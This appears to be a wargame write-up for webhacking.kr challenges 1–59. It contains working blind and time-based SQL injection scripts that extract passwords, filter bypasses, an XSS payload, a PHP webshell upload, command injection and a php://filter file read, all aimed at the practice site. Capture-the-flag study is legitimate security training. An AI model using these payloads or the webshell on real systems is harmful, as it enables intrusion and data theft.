Challenge 01

Local Picture

From the source code, we can see that if we set the cookie between 5 and 6, we can sovle it.

We set it to 5.5, and solve the challenge.


Challenge 02

Local Picture

In the page admin.php

Local Picture

There is a cookie called time, it will give us different result in the source code with different value. If the value is true, it will give us 2070-01-01 09:00:01, and 2070-01-01 09:00:00 for false.

Local Picture

Local Picture

Local Picture

It is a Cookie-based SQL injection, we can see if our command is true or false to find out the password of admin.php.

First, we try to find the length of name of the database

Local Picture

And later, we can use substr to find the name of the database. After that, we try to get the length of name of the table, and find the name of the table. Do the same thing with column, and find out its value.

I write a python script and found the database “chall2”, table “admin_area_pw”, column “pw”, and value “kudos_to_beistlab”.

After typing the password to admin.php, we solve the challenge.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
import requests
import string

"""
database_length = 6
database_name = "chall2"
table_length = 13
table_name = "admin_area_pw"
column_length = 2
column_name = "pw"
password_length = 17
password = "kudos_to_beistlab"
"""

database_length = 0
# Check length of database name
for i in range(1, 20):
	my_cookies = dict(time='LENGTH((SELECT DATABASE())) = {}'.format(i))
	r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
	if "2070-01-01 09:00:01" in r.content:
		print("Length of database name is {}".format(i))
		database_length = i
		break

database_name = ""
# Get database name
for i in range(1, database_length + 1):
	for ch in string.ascii_lowercase + string.digits:
		my_cookies = dict(time='SUBSTR((SELECT DATABASE()), {}, 1) = "{}"'.format(i, ch))
		r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
		if "2070-01-01 09:00:01" in r.content:
			database_name += ch
			print("Database Name: {}".format(database_name))
			break
print("Final Database Name: {}".format(database_name))

table_length = 0
# Check length of table name
for i in range(1, 20):
	my_cookies = dict(time='LENGTH((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{}" LIMIT 0,1)) = {}'.format(database_name, i))
	r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
	if "2070-01-01 09:00:01" in r.content:
		print("Length of table name is {}".format(i))
		table_length = i
		break

table_name = ""
# Get table name
for i in range(1, table_length + 1):
	for ch in string.ascii_lowercase + string.digits + "_":
		my_cookies = dict(time='SUBSTR((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA="{}" LIMIT 0,1), {}, 1) = "{}"'.format(database_name, i, ch))
		r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
		if "2070-01-01 09:00:01" in r.content:
			table_name += ch
			print("Table Name: {}".format(table_name))
			break
print("Final Table Name: {}".format(table_name))

column_length = 0
# Check length of column name
for i in range(1, 20):
	my_cookies = dict(time='LENGTH((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{}" LIMIT 0,1)) = {}'.format(table_name, i))
	r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
	if "2070-01-01 09:00:01" in r.content:
		print("Length of column name is {}".format(i))
		column_length = i
		break

column_name = ""
# Get column name
for i in range(1, column_length + 1):
	for ch in string.ascii_lowercase + string.digits + "_":
		my_cookies = dict(time='SUBSTR((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="{}" LIMIT 0,1), {}, 1) = "{}"'.format(table_name, i, ch))
		r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
		if "2070-01-01 09:00:01" in r.content:
			column_name += ch
			print("Column Name: {}".format(column_name))
			break
print("Final Column Name: {}".format(column_name))

password_length = 0
# Check length of password
for i in range(1, 20):
	my_cookies = dict(time='LENGTH((SELECT {} FROM {} LIMIT 0,1)) = {}'.format(column_name, table_name, i))
	r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
	if "2070-01-01 09:00:01" in r.content:
		print("Length of password is {}".format(i))
		password_length = i
		break

password = ""
# Get password
for i in range(1, password_length + 1):
	for ch in string.ascii_lowercase + string.digits + "_":
		my_cookies = dict(time='SUBSTR((SELECT {} FROM {} LIMIT 0,1), {}, 1) = "{}"'.format(column_name, table_name, i, ch))
		r = requests.get("https://webhacking.kr/challenge/web-02/", cookies = my_cookies)
		if "2070-01-01 09:00:01" in r.content:
			password += ch
			print("Password: {}".format(password))
			break
print("Final Passowrd: {}".format(password))

Challenge 03

Local Picture

We can solve the Nonogram.

Local Picture

And we get the following page.

Local Picture

We try to trigger sqli with name=answer value=1' or '1'='1, and we accidently solve the challenge.


Challenge 04

Local Picture

Local Picture

We can create a table contains all hashes from 10000000 to 100000000, and find the hash in the table.

1
2
3
4
5
6
7
8
9
<?php
$myfile = fopen("dict.txt", "w");
for($j=10000000;$j<100000000;++$j){
	$tmp = $j."salt_for_you";
	for($i=0;$i<500;$i++) $tmp = sha1($tmp);
	fwrite($myfile, $j.":".$tmp."\n");
}
fclose($myfile);
?>

Challenge 05

Local Picture

I try to access https://webhacking.kr/challenge/web-05/mem/join.php, and it worked.

Local Picture

After translation, we can see that we need to add cookie oldzombie=1, and access https://webhacking.kr/challenge/web-05/mem/join.php?mode=1 to get a sign up form.

We have to login as admin to pass the challenge, so we create our id with [space] + admin, and we can login as admin.


Challenge 06

Local Picture

From the source code, we can see that it takes the value from cookie, do str_replace, and do 20 times base64 decode. If the decode id is admin, and decode pw is nimda, we win this challenge.

Very straight forward, we just need to reverse the whole process and put the encoded value in cookies, and we are done.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

$val_id = "admin";
$val_pw = "nimda";
for($i = 0; $i < 20; ++$i){
	$val_id=base64_encode($val_id);
	$val_pw=base64_encode($val_pw);
}
$val_id=str_replace("1","!",$val_id);
$val_id=str_replace("2","@",$val_id);
$val_id=str_replace("3","$",$val_id);
$val_id=str_replace("4","^",$val_id);
$val_id=str_replace("5","&",$val_id);
$val_id=str_replace("6","*",$val_id);
$val_id=str_replace("7","(",$val_id);
$val_id=str_replace("8",")",$val_id);

$val_pw=str_replace("1","!",$val_pw);
$val_pw=str_replace("2","@",$val_pw);
$val_pw=str_replace("3","$",$val_pw);
$val_pw=str_replace("4","^",$val_pw);
$val_pw=str_replace("5","&",$val_pw);
$val_pw=str_replace("6","*",$val_pw);
$val_pw=str_replace("7","(",$val_pw);
$val_pw=str_replace("8",")",$val_pw);

// put in cookies
echo("Encode ID: $val_id\n\n");
echo("Encode PW: $val_pw\n");

?>

Challenge 07

Local Picture

If there is 2 in our result, we can solve the challenge.

I focus on exploiting this page when rand=1, which means I got 20% chance to succeed.

I access https://webhacking.kr/challenge/web-07/index.php?val=0)UNION(select(char(50)), so that the sql query will be select lv from chall7 where lv=(0)UNION(select(char(50))), and the challenge is solved when rand=1.


Challenge 08

Local Picture

With Burp Suite, we change user agent to User-Agent: a','1','admin')#, so that the query agent=a, ip=1, id=admin will be added.

Later, we create another request with User-Agent: a, and we solve the challenge.


Challenge 09

Local Picture

Local Picture

Local Picture

Local Picture

We can use if, length, and substr to find id of no 3. However, =,>,<,%,ascii are blocked, so we need to use in or like.

I write a script to find the password.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

#password_length = 11
#password = "alsrkswhaql"

password_length = 0
for i in range(1, 25):
	s = 'no=if(LENGTH(id)in({}),3,0)'.format(i)
	r = requests.get('https://webhacking.kr/challenge/web-09/', params = s)
	if "Secret" in r.content:
		password_length = i
		print("Password Length: {}".format(i))
		break

password = ""
for i in range(1, password_length + 1):
	for ch in string.printable:
		s = 'no=if(SUBSTR(id,{},1)in({}),3,0)'.format(i, hex(ord(ch)))
		r = requests.get('https://webhacking.kr/challenge/web-09/', params = s)
		if "Secret" in r.content:
			password += ch
			print("Password: {}".format(password))
			break
print("Final Password: {}".format(password))

And we can get the password alsrkswhaql.


Challenge 10

Local Picture

Modify left to 1599px, click once, and we can solve the challenge.


Challenge 11

Local Picture

In this one, we need to match the regular expression.

Access https://webhacking.kr/challenge/code-2/?val=1aaaaa_1.[my ip]%09p%09a%09s%09s, and we solve the challenge.


Challenge 12

Javascript is encoded in Japanese style emotion, we can use aadecoder to decode the script. And get

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
for(i=1;i<122;i++){
  enco=enco+String.fromCharCode(i,0);
}
function enco_(x){
  return enco.charCodeAt(x);
}
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3)){
  location.href="./"+ck.replace("=","")+".php";
}

We can use the following script to see what ck is.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
var enco='';
var enco2=126;
var enco3=33;
var url='https://webhacking.kr/challenge/code-3/';
var ck=url.substr(url.indexOf('='));

for(i=1;i<122;i++){
  enco=enco+String.fromCharCode(i,0);
}

function enco_(x){
  return enco.charCodeAt(x);
}

var s="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3);
s = s.replace("=","")+".php";
console.log(s);

We can get the url https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php, and the challenge is solved.


Challenge 13

Unsolved.

Challenge 14

Local Picture

Local Picture

It counts the index of “.kr” in url, and multiply with 30. If our input matches, it will multiply with our input and redirect.

Index of “.kr” is 18, 18 * 30 = 540, 540 * 540 = 291600, so if we access https://webhacking.kr/challenge/js-1/?291600, we solve the challenge.


Challenge 15

Local Picture

When we access https://webhacking.kr/challenge/js-2/?getFlag, we solve the challenge.


Challenge 16

Local Picture

When cd = 124, it will do href. We can do it manually with https://webhacking.kr/challenge/js-3/%7c.php, and we solve the challenge.


Challenge 17

Local Picture

Unlock will be 7809297.1, so we just need to access https://webhacking.kr/challenge/js-4/?780929.71, and we solve the challenge.


Challenge 18

Local Picture

Local Picture

By testing, we know that id of guest is 1.

We can use https://webhacking.kr/challenge/web-32/index.php?no=3%09or%09no=2 to make the statement select id from chall18 where id='guest' and no=3 or no=2, the first part will become false, turns to false or no=2, and it will be no=2. In the end, the statement will be select id from chall18 where no=2. Since space is being filtered, we can use %09, which is tab, instead.


Challenge 19

Local Picture

We can access https://webhacking.kr/challenge/js-6/?id=ad%00min to solve the challenge.


Challenge 20

Local Picture

Local Picture

We need to submit the correct captcha in 2 seconds. We can put the javascript in the console, press refresh, and execute the script immediately. Then we can pass the challenge.

1
2
3
4
lv5frm.id.value='L3o'
lv5frm.cmt.value='let me pass'
lv5frm.captcha.value=lv5frm.captcha_.value
lv5frm.submit()

Challenge 21

Unsolved.


Challenge 22

Local Picture

First, we use join to create an account with username abc and password abc.

After we login, we can see

Local Picture

We try to login with username admin and nothing on password, and we get Login Fail!, but if we login with username admin'&& 1=1# and nothing on password, we get Wrong password!.

We can use this to find out the password. I write a python script to check for the length of the password with username admin'&&LENGTH(pw)=1#, if we get Wrong password!, then the query is true.

After that, we use admin'&&SUBSTR(pw, 0, 1) = "a"# to find out the value of the password.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

"""
password_length = 32
password = "6c9ca386a903921d7fa230ffa0ffc153"
"""

password_length = 0
# Check length of password
for i in range(1, 50):
	my_data = {'uuid': 'admin\'&&LENGTH(pw)={}#'.format(i)}
	r = requests.post("https://webhacking.kr/challenge/bonus-2/", data = my_data)
	if "Wrong password!" in r.content:
		print("Length of Password is {}".format(i))
		password_length = i
		break

password = ""
# Get password
for i in range(1, password_length + 1):
	for ch in string.ascii_lowercase + string.digits:
		my_data = {'uuid': 'admin\'&&SUBSTR(pw, {}, 1) = "{}"#'.format(i, ch)}
		r = requests.post("https://webhacking.kr/challenge/bonus-2/", data = my_data)
		if "Wrong password!" in r.content:
			password += ch
			print("Password: {}".format(password))
			break
print("Final Password: {}".format(password))

Finally, we get a hash value of the password 6c9ca386a903921d7fa230ffa0ffc153. If we decrypt 17becc424ea0fbf966f527d24635d4fa, which is the hash we get with password abc, we get abcapple. When we decrypt 6c9ca386a903921d7fa230ffa0ffc153, we get wowapple, so the password should be wow, and we can solve the challenge.


Challenge 23

Local Picture

It does a lot of filtering, but I found that by putting %00 between characters, we can pass the challenge. That is https://webhacking.kr/challenge/bonus-3/index.php?code=%3Cs%00c%00r%00i%00p%00t%00%3Ea%00l%00e%00r%00t(1); %3C/s%00c%00r%00i%00p%00t%3E


Challenge 24

Local Picture

Local Picture

Since it extract($_COOKIE), we can put $REMOTE_ADDR in the cookie. By setting $REMOTE_ADDR = 112277...00...00...1 as cookie, we can pass the filtering and get $REMOTE_ADDR = 127.0.0.1.


Challenge 25

Local Picture

URL is http://webhacking.kr:10001/?file=hello, but if we access http://webhacking.kr:10001/?file=flag, we got FLAG is in the code, if we access http://webhacking.kr:10001/?file=index, we see nothing. It seems like it prints out the output of the file.

We can use http://webhacking.kr:10001/?file=php://filter/convert.base64-encode/resource=flag to get the content of flag.php encoded in base64, when we decode it, we can see the flag.

1
2
3
4
<?php
  echo "FLAG is in the code";
  $flag = "FLAG{this_is_your_first_flag}";
?>

Challenge 26

Local Picture

In this challenge, we need encode the message twice, so we can pass the filter and make id=admin.

1
2
3
4
5
6
7
8
9
s = "admin"
encode1 = ""
encode2 = ""
for ch in s:
    encode1 += "%" + hex(ord(ch))[2:]
for ch in encode1:
    encode2 += "%" + hex(ord(ch))[2:]

print(encode2)

And we can get our twice encoded message %25%36%31%25%36%34%25%36%64%25%36%39%25%36%65, post it as id https://webhacking.kr/challenge/web-11/?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65, and we pass the challenge.


Challenge 27

Local Picture

Local Picture

By testing, we can know that the no of guest is 1.

We can access https://webhacking.kr/challenge/web-12/index.php?no=2)%09or%09id%09like%09%27admin%27%09--%09 to solve the problem because =, #, and blank are filtered out. We make the sql command to select id from chall27 where id='guest' and no=(2) or id like 'admin' -- or die("query error");, the final command will be select id from chall27 where id like 'admin', and we solve the challenge.


Challenge 28

Local Picture

If we access flag.php directly, we see nothing.

For this challenge, we need to upload .htaccess contains php_flag engine off. By doing this, it will not execute .php file but show its content.

After uploading, access flag.php again.

Local Picture

And we can get the flag.


Challenge 29

Unsolved.


Challenge 30

Unsolved.


Challenge 31

Local Picture

It creates connection to random ports in range 10000 to 10100. We just need to do port forwarding and listen on that port, we can solve it.


Challenge 32

Local Picture

Local Picture

When we click the name, it will add 1, and we got a cookie vote_check = ok. We need to delete it to vote again.

We can see that my name has 0 vote at the bottom. We use a python script to vote for 100 times.

1
2
3
4
5
6
import requests

my_cookie = dict(PHPSESSID='vf3vgk5pnjrlb5opd97r5u7cta')

for i in range(100):
	r = requests.get('https://webhacking.kr/challenge/code-5/?hit=L3o', cookies = my_cookie)

And we solve the challenge.


Challenge 33

There are 10 small challenges, and each one looks like this. We have to pass each challenge by reading source code.

Local Picture

Local Picture

Use get method https://webhacking.kr/challenge/bonus-6?get=hehe

Local Picture

Paste a post form in HTML, and press submit.

Local Picture

1
2
3
4
5
<form action="lv2.php" method="post">
	POST1: <input type="text" name="post" value="hehe">
	POST2: <input type="text" name="post2" value="hehe2">
	<input type="submit" value="Submit">
</form>

Local Picture

Use get method with own ip https://webhacking.kr/challenge/bonus-6/33.php?myip=[my ip]

Local Picture

It puts time() on the webpage. We just need to do md5 encoding md5 -s 1575907840 and send it as password https://webhacking.kr/challenge/bonus-6/l4.php?password=dac6ecbe7ca8f5672f08c6698f34f882

Local Picture

First, we add cookie imcookie=1 and create a form to do post to a page with get parameter. Press submit.

1
2
3
4
<form action="md555.php?imget=1" method="post">
	POST: <input type="text" name="impost" value="1">
<input type="submit" value="Submit">
</form>

Local Picture

Put cookie test = md5(ip address), put the form with value of md5(user agent), and submit.

1
2
3
4
<form action="gpcc.php" method="post">
	POST: <input type="text" name="kk" value="579b9fe9209d6c999c79699965a0be24">
<input type="submit" value="Submit">
</form>

Local Picture

Get rid of . from my ip, and put it in get method.

https://webhacking.kr/challenge/bonus-6/wtff.php?[my ip]=[my ip]

Local Picture

https://webhacking.kr/challenge/bonus-6/ipt.php?addr=127.0.0.1

Local Picture

By running the php script, we can get https://webhacking.kr/challenge/bonus-6/nextt.php?ans=acegikmoqsuwy.

1
2
3
4
5
6
<?php
for($i=97;$i<=122;$i=$i+2){
  $answer.=chr($i);
}
echo($answer);
?>

Local Picture

By running the php script, we can get https://webhacking.kr/challenge/bonus-6/answerip/26753767535_5350753507.php.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
$ip = '1.171.73.59';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo("answerip/{$answer}_{$ip}.php");
?>

Challenge 34

Local Picture

When we open the page, we get alert “debug me” and the source code above. We use jsnice.org to give the code a better look, and there is one segment catching my attention.

1
2
3
4
5
if (location[b("0x19", "iUmC")][b("0x1a", "6]r1")](1) == b("0x1b", "RLUb")) {
  location[b("0x1c", "4c%d")] = b("0x1d", "llaF");
} else {
  alert(b("0x1e", "14cN"));
}

Typing alert(b("0x1e", "14cN")); in the console, and we get alert “debug me”.
Typing location[b("0x1c", "4c%d")], and we can get “https://webhacking.kr/challenge/js-7/".
Typing b("0x1d", "llaF"), and we can get “./?Passw0RRdd=1”.

If we access https://webhacking.kr/challenge/js-7/?Passw0RRdd=1, we can solve the challenge.


Challenge 35

Local Picture

What we need is to access https://webhacking.kr/challenge/web-17/index.php?phone=1),(%27admin%27,%27[my ip]%27,2&id=guest, so that insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']}) will become insert into chall35(id,ip,phone) values('guest','[my ip]',1),('admin','[my ip]',2), and we solve the challenge.


Challenge 36

Local Picture

We can find the swap file in https://webhacking.kr/challenge/bonus-8/.index.php.swp, and we can get the flag.


Challenge 37

Unsolved.


Challenge 38

Local Picture

And there is a webpage https://webhacking.kr/challenge/bonus-9/admin.php

Local Picture

We need to have 1.163.65.118:admin put in the log, but we cannot input admin directly in the box, we will be denied.

I tried \n1.163.65.118:admin, but it does not work. \n will be translate as string.

So, we can change <input type=text name=id size=20> to <textarea type=text name=id size=20>, and we have multi-line to type our inputs, we type

1
2
abc
1.163.65.118:admin

And we are admin and solve the challenge.


Challenge 39

Local Picture

Local Picture

If we take a closer look, we can see that we end up having a 1 single quote at the end of query, we need another single quote, but it will replace 1 with 2.

To solve this problem, we only need to submit “admin” with 9 blanks and a single quote

1
admin         '

because we put single quote at the 15th character, even if it will be replace with 2, 1 got truncated with substr, and we solve the challenge.


Challenge 40

Local Picture

Local Picture

or,and,%20,ascii are blocked, and ||,& are fine.

If we access https://webhacking.kr/challenge/web-29/?no=0||id=0x61646d696e&id=guest&pw=guest, we can see a login page for admin.

Local Picture

We can write a python script to find the length of the password and its content using LENGTH and SUBSTR.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import string
import requests

#password_length = 10
#password = "lck_admin" => "luck_admin"

password_length = 0
for i in range(1, 20):
	r = requests.get('https://webhacking.kr/challenge/web-29/?no=0||LENGTH(pw)={}&id=guest&pw=guest'.format(i))
	if "admin password" in r.content:
		print("Password Length: {}".format(i))
		password_length = i
		break

password = ""
for i in range(1, password_length + 1):
	for ch in string.printable:
		r = requests.get('https://webhacking.kr/challenge/web-29/?no=0||SUBSTR(pw,{},1)={}&id=guest&pw=guest'.format(i, hex(ord(ch))))
		if "admin password" in r.content:
			password += ch
			print("Password: {}".format(password))
			break
print("Final Password: {}".format(password))

We will get lck_admin as our password, but we can see that we have lost one character, which is u. That is because when we request for https://webhacking.kr/challenge/web-29/?no=0||SUBSTR(pw,2,1)=0x75&id=guest&pw=guest, it will show us Success - guest instead of the admin login page. The second character of both the admin’s password and guest’s password are the same.

So the real password is luck_admin.


Challenge 41

Unsolved.


Challenge 42

Local Picture

dGVzdC50eHQ= is base64 encode of test.txt, so we execute echo -n "flag.docx" | base64, and access https://webhacking.kr/challenge/web-20/?down=ZmxhZy5kb2N4 to download the flag, and the challenge is solved.


Challenge 43

Local Picture

If we upload the webshell directly, there is a warning “Wrong type”. We need to use Burp Suite to modify the type of the file from “text/php” to “text”.

1
<?php system($_GET["cmd"]); ?>

Access http://webhacking.kr:10004/upload/webshell.php/?cmd=cat%20/flag, and we can get the flag.


Challenge 44

Local Picture

Local Picture

From the hint, we know that we need to execute ls. We can only type 5 characters for payload because of $id = substr($id,0,5);.

We can use ';ls' as payload, and it will execute echo 'hello! ';ls''.

Local Picture

By accessing http://webhacking.kr:10005/flag_29cbb98dafb4e471117fec409148e9386753569e, we can get the flag FLAG{y2u.be/sW3RT0tF020}.

By the way, the song in the flag is really nice XDD


Challenge 45

Local Picture

Local Picture

Local Picture

First, %27, which is a single quote, will be in trouble with addslashes(). What we can do is to add %aa in front of it because %aa\ can be treated as a multi-byte single character, and %27 can be kept.

If we access https://webhacking.kr/challenge/web-22/?id=%aa' or id like 0x61646d696e%23&pw=a, we can solve the challenge because the query select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') will become select id from chall45 where id='%aa\' or id like 0x61646d696e%23' and pw=md5('a'), which is select id from chall45 where id='%aa\' or id like 0x61646d696e.

We get the result with id=admin.


Challenge 46

Local Picture

We can access https://webhacking.kr/challenge/web-23/?lv=0%09OR%09id=char(97,100,109,105,110), so the sql query will become select id,cash from chall46 where lv=0 OR id=char(97,100,109,105,110). We can simplify this with select id,cash from chall46 where id='admin', and we solve the challenge.


Challenge 47

Local Picture

Local Picture

We need to access the content of the email.

First, we change <input type="text" name="subject" size="50" value="Flag of webhacking.kr old-47 chall" maxlength="50"> into <textarea type="text" name="subject" size="50" value="Flag of webhacking.kr old-47 chall" maxlength="50"></textarea>, and type

1
2
abc
Cc: [your email address]

And we can have get the email because it will cc to us.


Challenge 48

Local Picture

We can upload any file, access it, and delete it.

We upload a file called ;ls, and when we delete it, it will trigger rm ;ls, and we can get the flag FLAG{i_think_this_chall_is_cool}.


Challenge 49

Local Picture

We can access https://webhacking.kr/challenge/web-24/?lv=0||id=0x61646d696e to solve the challenge.


Challenge 50

Local Picture

Local Picture

We can access https://webhacking.kr/challenge/web-25/?id=%aa%27/*&pw=*/%09union%09select%093%23 to solve the challenge.

First, %27, which is a single quote, will be in trouble with addslashes(). What we can do is to add %aa in front of it because %aa\ can be treat as a multi-byte single character, and %27 can be kept.

The whole query is select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}'), and it will become select lv from chall50 where id='%aa'/*' and pw=md5('*/%09union%09select%093%23'), which is select lv from chall50 where id='%aa\'%09union%09select%093, and we can solve the challenge.


Challenge 51

Local Picture

It uses raw hash, so we can use either 129581926211651571912466741651878684928 or ffifdyop as our password. The sql command will be select id from chall51 where id='admin' and pw='T0Do#'or'8' or select id from chall51 where id='admin' and pw=''or'6]!r,b.


Challenge 52

Unsolved.


Challenge 53

Local Picture

We can access https://webhacking.kr/challenge/web-28/?val=1%20procedure%20analyse(), and we can get the output webhacking.chall53_755fdeb36d873dfdeb2b34487d50a805.a, which is the database, table, and column.

Access https://webhacking.kr/challenge/web-28/?answer=chall53_755fdeb36d873dfdeb2b34487d50a805, and we solve the challenge.


Challenge 54

Local Picture

Local Picture

The flag will show on the screen one character followed by another. All of a sudden, it finished, and only left a question mark.

By changing = into +=, we can see the whole flag printed on the screen.

1
2
3
4
5
6
7
8
9
function answer(i){
  x.open('GET','?m='+i,false);
  x.send(null);
  aview.innerHTML+=x.responseText;
  i++;
  if(x.responseText) setTimeout("answer("+i+")",20);
  if(x.responseText=="") aview.innerHTML+="?";
}
setTimeout("answer(0)",1000);

Local Picture

We can get the flag FLAG{a7981201c48d0ece288afd01ca43c55b}.


Challenge 55

Local Picture

If we access https://webhacking.kr/challenge/web-31/rank.php

Local Picture

We access https://webhacking.kr/challenge/web-31/rank.php?score=2147483647%20limit%202,1%20procedure%20analyse(), and we can get id : webhacking.chall55.p4ssw0rd_1123581321, and it contains the column name to store the flag p4ssw0rd_1123581321.

We can get our flag with bruteforce. substr is blocked, so we need to use another way, which is left function. If we access https://webhacking.kr/challenge/web-31/rank.php?score=1, we can get id : Milka // 1, and if we access https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321,1)%20like%200x46, we can get id : Milka // 1 as well. We got the idea that the first character of the flag is F, which we have already known.

I write a script to collect other characters in the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import requests
import string

l = string.ascii_lowercase + string.digits + "}!_?"

flag = 'FLAG{'
ascii_flag = '464c41477b'

while flag[-1] != '}':
	print("Current Flag: " + flag)
	for ch in l:
		tmp = ascii_flag + hex(ord(ch))[2:]
		r = requests.get('https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20left(p4ssw0rd_1123581321,{length})%20like%200x{payload}'.format(length=len(flag)+1, payload=tmp))
		if 'Milka' in r.content:
			flag += ch
			ascii_flag = tmp
			break
print("Final Flag: " + flag)

Finally, we can get the flag FLAG{easy_peasy_lemon_squeezy!}.


Challenge 56

Local Picture

Local Picture

For search, it will show if the content is in these two files. Since the second file contains hello~, if I type h or l, it will show up. But if we try hl, it won’t.

So first, we can see what characters contained in the target file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import requests
import string

ch_list = []
for ch in string.lowercase:
	my_data = {'search': ch}
	r = requests.post('https://webhacking.kr/challenge/web-33/index.php', data=my_data);
	if 'admin' in r.content:
		ch_list.append(ch)
print(ch_list)

We can get ch_list = ['a', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 's', 't', 'u', 'y']. Later, we use another script to test their combinations.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string

ch_list = ['a', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'k', 'l', 'm', 'n', 'o', 's', 't', 'u', 'y']
flag = "FLAG{"
loop = 0
while True:
	check = 0
	for ch in ch_list:
		tmp = flag + ch
		my_data = {'search': tmp}
		r = requests.post('https://webhacking.kr/challenge/web-33/index.php', data=my_data);
		if 'admin' in r.content:
			flag += ch
			loop = 0
	print(flag)
	if loop == 1:
		flag += "_"
	elif loop == 2:
		break
	loop += 1


flag = flag[:-1] + "}"
print("Final FLAG: " + flag)

The output is FLAG{himiko_toga_is_cute_dont_you_think_so}, but it seems there should be a question mark at the end FLAG{himiko_toga_is_cute_dont_you_think_so?}


Challenge 57

Local Picture

Local Picture

It uses GET method

Local Picture

We can write a script using if and sleep in mysql to determine the length of pw, and we use substr to find out its content.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import time
import requests
import string

#password_length = 24
#password = "FLAG{y2u.be/kmPgjr0EL64}"

password_length = 0
# Get password length
for i in range(1, 50):
	my_params = {'msg': 'a', 'se': 'if(LENGTH(pw)={},sleep(5.0),1)'.format(i)}
	time1 = time.time()
	r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params = my_params)
	
	if "Done" in r.content:
		time2 = time.time()
	if time2 - time1 >= 5:
		password_length = i
		print("Length of password: {}".format(i))
		break

password = ""
for i in range(1, password_length + 1):
	for ch in string.ascii_uppercase + "{}._/" + string.ascii_lowercase + string.digits:
		my_params = {'msg': 'a', 'se': 'if(ASCII(SUBSTR(pw,{},1))={},sleep(5.0),1)'.format(i, ord(ch))}
		time1 = time.time()
		r = requests.get('https://webhacking.kr/challenge/web-34/index.php', params = my_params)
		
		if "Done" in r.content:
			time2 = time.time()
		if time2 - time1 >= 5:
			password += ch
			print("Password: {}".format(password))
			break

print("Final Password: {}".format(password))

And we can get the flag FLAG{y2u.be/kmPgjr0EL64}, which is a nice song as well.


Challenge 58

Local Picture

We have a console, and we can type ls to retrieve output. If we type flag, it says only admin can use this command.

Open Burp Suite, we can see that we sent 42["cmd","guest:flag"] in our request, change it to 42["cmd","admin:flag"], and we solve the challenge.


Challenge 59

Local Picture

Local Picture

To join, it uses addslashes(), strlen and preg_match() to do filtering.

